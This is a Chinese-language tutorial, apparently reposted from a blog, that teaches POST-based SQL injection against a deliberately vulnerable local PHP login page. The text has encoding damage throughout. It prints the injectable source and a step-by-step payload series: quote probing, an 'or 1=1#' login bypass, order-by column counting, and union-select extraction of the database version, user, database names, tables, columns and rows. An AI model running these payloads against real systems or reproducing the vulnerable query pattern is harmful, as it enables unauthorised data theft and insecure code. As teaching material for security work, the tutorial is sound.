? ? ? ? 小伙伴們大家好!本期為大家?guī)淼氖荢QL注入原理之POST注入。
目錄
GET傳參與POST傳參
什么是POST注入?
實(shí)戰(zhàn)演示
一、判斷是否存在注入點(diǎn)
二、萬能密碼
三、判斷查詢字段個(gè)數(shù)
四、找出可以回顯的字段
五、爆出數(shù)據(jù)庫(kù)的數(shù)據(jù)
1、爆出數(shù)據(jù)庫(kù)版本和當(dāng)前數(shù)據(jù)庫(kù)的用戶
2、爆出所有的數(shù)據(jù)庫(kù)名
3、爆出當(dāng)前的數(shù)據(jù)庫(kù)名
4、爆出數(shù)據(jù)庫(kù)下的所有表名
5、爆出表下的所有字段名
6、爆出表中的數(shù)據(jù)
GET傳參與POST傳參
? ? ? ? GET傳參就是我們平常的在訪問一個(gè)網(wǎng)頁(yè)地址的時(shí)候,網(wǎng)址的網(wǎng)站路徑后面加的“?”后面的參數(shù)等于...。例如“http://www.xxx.com?id=1”,這里的?id中的id就是以GET傳參方式傳遞的。即:GET方式傳遞的參數(shù)都會(huì)在URL中顯示出來。GET方式傳參如果傳遞的是用戶名和密碼的話,就顯得數(shù)據(jù)在傳輸過程中保密性非常的差。這時(shí)候就出來了另一種參數(shù)提交方式——POST傳參。
? ? ? ? 既然GET傳參容易泄露敏感信息,那么POST方式就是不容易泄露敏感信息,因?yàn)镻OST傳遞的參數(shù)的數(shù)據(jù)都在請(qǐng)求體中,只有通過使用抓包軟件才能夠獲取我們POST方式提交的數(shù)據(jù)。一般POST的提交方式都會(huì)出現(xiàn)在賬號(hào)登錄,密碼修改的功能當(dāng)中,但也不限于這幾種功能!? ? ? ??
什么是POST注入?
? ? ? ? 所謂POST注入就是我們?cè)谇岸颂峤粩?shù)據(jù)的時(shí)候,前端使用的是POST方式提交的數(shù)據(jù)。說白了,跟GET注入沒有什么本質(zhì)上的區(qū)別,無非就是提交數(shù)據(jù)的方式改變了,而注入的技巧思路都是一樣的。
實(shí)戰(zhàn)演示
源碼:
<?php
// 連接數(shù)據(jù)庫(kù)
$coon = mysqli_connect("127.0.0.1", "root", "root", "test", 3306);
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
echo "<center><br/>";
echo "<form method='post' action='sql12.php' style='padding-top: 100px'>";
echo "<label>賬號(hào): </label>";
echo "<input type='text' name='username'/><br/>";
echo "<label>密碼: </label>";
echo "<input type='password' name='password' /><br/><br/>";
echo "<input type='submit' value='登錄'> ";
echo "<input type='reset' value='重置'>";
echo "</center>";
if (isset($_POST['username']) && isset($_POST['password'])) {
// 接受傳來的參數(shù)id
$username= @$_POST['username'];
$password = @$_POST['password'];
// 執(zhí)行的SQL語句
$sql = "select username,password from users where username='$username' and password='$password'";
$res = mysqli_query($coon, $sql);
$row = mysqli_fetch_array($res);
if ($row) {
echo "<center><br/>";
echo "<h1>Your username is : ".$row['username']."</h1><br/>";
echo "<h1>Your password is : ".$row['password']."</h1><br/>";
echo "</center>";
} else {
echo "<center></br>";
echo "<h1>Your username or password is error!</h1>";
print_r(mysqli_error($coon));
echo "</center>";
}
}
一、判斷是否存在注入點(diǎn)
首先我們還是先判斷該站點(diǎn)是否存在注入點(diǎn),我們先正常的輸入賬號(hào)密碼(這里的賬號(hào)密碼可以隨便輸入)登錄看一下頁(yè)面的響應(yīng)。
我們隨便輸入了一個(gè)賬號(hào)密碼,直接提示我們賬號(hào)或密碼錯(cuò)誤,并且觀察URL并沒有攜帶參數(shù)值,所以我們就知道了這個(gè)登錄的頁(yè)面采用的是POST傳參。?
我們聯(lián)想到一般的登錄都是檢查我們輸入的賬號(hào)密碼與后臺(tái)數(shù)據(jù)庫(kù)存儲(chǔ)的賬號(hào)密碼相對(duì)比,看是否數(shù)據(jù)庫(kù)是否存在我們輸入的賬號(hào)密碼,而一般后臺(tái)都是將我們輸入的賬號(hào)密碼作為條件然后去數(shù)據(jù)庫(kù)查找,因?yàn)槲覀兊馁~號(hào)密碼都是字符串,數(shù)據(jù)庫(kù)查詢的時(shí)候必定將我們輸入的賬號(hào)密碼用單引號(hào)或者雙引號(hào)包裹起來,所以我們?cè)谳斎胭~號(hào)的時(shí)候,在后面加上一個(gè)單引號(hào)或者雙引號(hào)。
發(fā)現(xiàn)頁(yè)面報(bào)錯(cuò),根據(jù)報(bào)錯(cuò)結(jié)果可以看出來,我們輸入的賬號(hào)密碼確實(shí)被單引號(hào)給包裹了起來。
既然已經(jīng)知道是POST方式提交參數(shù),我們先來抓一下包,看POST提交的請(qǐng)求體中的數(shù)據(jù)。?以方便我們使用hackbar來進(jìn)行測(cè)試。
這里看到post提交的數(shù)據(jù)為“username=admin&password=admin”
這樣我們可以拿著這個(gè)數(shù)據(jù)使用火狐插件hackbar來進(jìn)行測(cè)試,這樣更方便。
我們接下來構(gòu)造and 1=2和and 1=1的條件看是否能夠插入到后端SQL語句當(dāng)中。
payload:“username=admin' and 1=2#&password=”
username=admin' and 1=2#&password=
可以看到and 1=1 時(shí)頁(yè)面會(huì)顯出了賬號(hào)密碼,and 1=2的時(shí)候爆出錯(cuò)誤,說明我們構(gòu)造的語句插入到了后端SQL語句,存在注入點(diǎn)。
二、萬能密碼
所謂萬能密碼呢,就是在登錄框中輸入一條簡(jiǎn)單的語句,即“' or 1=1#”
從后端的SQL語句分析
select username,password from users where username='$username' and password='$password'
我們輸入的萬能密碼即為$username,我們沒有輸入password,$password就為空。
這樣我們輸入的萬能密碼插入到后端SQL語句就變成了:
select username,password from users where username='' or 1=1#' and password=''
后面的and password=''就被我們輸入的#給注釋掉了。
數(shù)據(jù)庫(kù)真正執(zhí)行的SQL語句為:
select username,password from users where username='' or 1=1
由于我們輸入的or 1=1是正確的,所以后端就會(huì)返回users表中所有的數(shù)據(jù),由于前端只展示一條數(shù)據(jù),所以我們看到的是賬號(hào)為admin密碼為admin的數(shù)據(jù)。
假如我們將萬能密碼后加入“l(fā)imit 1,1”,看到的就不是admin的數(shù)據(jù)了,而是另外一條賬號(hào)密碼的數(shù)據(jù)。
limit num1,num2 的作用使用顯示查詢結(jié)果索引為num1后num2個(gè)數(shù)據(jù)。例如limit 0,1 就是取查詢結(jié)果中索引為0位置后1個(gè)數(shù)據(jù)。? ?
三、判斷查詢字段個(gè)數(shù)
接下來,我們就是來判斷后端在數(shù)據(jù)庫(kù)查詢時(shí),總共查詢了幾個(gè)字段的數(shù)據(jù)。
我們通常使用order by 來判斷后端進(jìn)行數(shù)據(jù)庫(kù)查詢時(shí)所查詢的字段數(shù)。
payload:“username=admin' order by 3#&password=”
username=admin' order by 3#&password=
order by是數(shù)據(jù)庫(kù)查詢的時(shí)候?qū)Y(jié)果進(jìn)行的排序,如果后面寫的是字段,則根據(jù)查詢字段進(jìn)行排序,但如果后面寫的是數(shù)字,該數(shù)字大于所查詢的字段數(shù),則就會(huì)報(bào)錯(cuò),小于的話就不會(huì)報(bào)錯(cuò)。?
通過頁(yè)面回顯知,order by 2 會(huì)顯出數(shù)據(jù),order by 3爆出錯(cuò)誤,由此可以判斷出后端查詢字段個(gè)數(shù)位2個(gè)。
四、找出可以回顯的字段
構(gòu)造payload:“username=' union select 1,2#&password=”
username=' union select 1,2#&password=
從頁(yè)面的回顯結(jié)果可以看出來,后端查詢的兩個(gè)字段都能在前端頁(yè)面得到回顯。
五、爆出數(shù)據(jù)庫(kù)的數(shù)據(jù)
1、爆出數(shù)據(jù)庫(kù)版本和當(dāng)前數(shù)據(jù)庫(kù)的用戶
構(gòu)造payload:“username=' union select version(),user()#&password=”
username=' union select version(),user()#&password=
其中version()函數(shù)返回?cái)?shù)據(jù)庫(kù)版本信息,user()函數(shù)返回當(dāng)前數(shù)據(jù)庫(kù)用戶的信息。?
2、爆出所有的數(shù)據(jù)庫(kù)名
構(gòu)造payload:“username=' union select group_concat(schema_name),2 from information_schema.schemata#&password=”
username=' union select group_concat(schema_name),2 from information_schema.schemata#&password=
因?yàn)榍岸酥伙@示一條數(shù)據(jù),而我們想要得到所有的結(jié)果就要使用group_concat()函數(shù),group_concat() 可以將我們查詢到的數(shù)據(jù)用“,”拼接起來。?
information_schema數(shù)據(jù)庫(kù)是MySQL5.0之后自帶的數(shù)據(jù)庫(kù),infomation_schema數(shù)據(jù)下的schemata表存儲(chǔ)了所有數(shù)據(jù)庫(kù)名,information_schema數(shù)據(jù)庫(kù)下的tables表存儲(chǔ)了所有的表名,information_schema數(shù)據(jù)庫(kù)下的columns表存儲(chǔ)了所有的字段名。
這樣我們就得到了所有的數(shù)據(jù)庫(kù)名。
3、爆出當(dāng)前的數(shù)據(jù)庫(kù)名
構(gòu)造payload:“username=' union select database(),2#&password=”
username=' union select database(),2#&password=
其中database()函數(shù)返回當(dāng)前的數(shù)據(jù)庫(kù)名。?
這樣我們就得到了當(dāng)前的數(shù)據(jù)庫(kù)名test。
4、爆出數(shù)據(jù)庫(kù)下的所有表名
構(gòu)造payload:“username=' union select group_concat(table_name),2 from information_schema.tables where table_schema='study'#&password=”
username=' union select group_concat(table_name),2 from information_schema.tables where table_schema='study'#&password=
這樣我們就得到了study數(shù)據(jù)庫(kù)下的所有表——student表和teacher表。
5、爆出表下的所有字段名
構(gòu)造payload:“username=' union select group_concat(column_name),2 from information_schema.columns where table_schema='study' and table_name='student'#&password=”
username=' union select group_concat(column_name),2 from information_schema.columns where table_schema='study' and table_name='student'#&password=
這樣我們就得到了study數(shù)據(jù)庫(kù)下student表的所有字段,分別為id,name,age。
6、爆出表中的數(shù)據(jù)
構(gòu)造payload:“username=' union select group_concat(name),group_concat(age) from study.student#&password=”
username=' union select group_concat(name),group_concat(age) from study.student#&password=
這樣我們就得到了study數(shù)據(jù)庫(kù)下student表中的數(shù)據(jù)。
剩下的注入就交給小伙伴們了!文章來源:http://www.zghlxwxcb.cn/news/detail-405066.html
當(dāng)然有的網(wǎng)站不會(huì)將查詢到的數(shù)據(jù)在前端頁(yè)面展示,這樣我們就很難直觀的得到數(shù)據(jù)了,這時(shí)我們就可以嘗試使用報(bào)錯(cuò)盲注、布爾盲注以及時(shí)間盲注來爆出數(shù)據(jù)。文章來源地址http://www.zghlxwxcb.cn/news/detail-405066.html
到了這里,關(guān)于SQL注入原理-POST注入的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!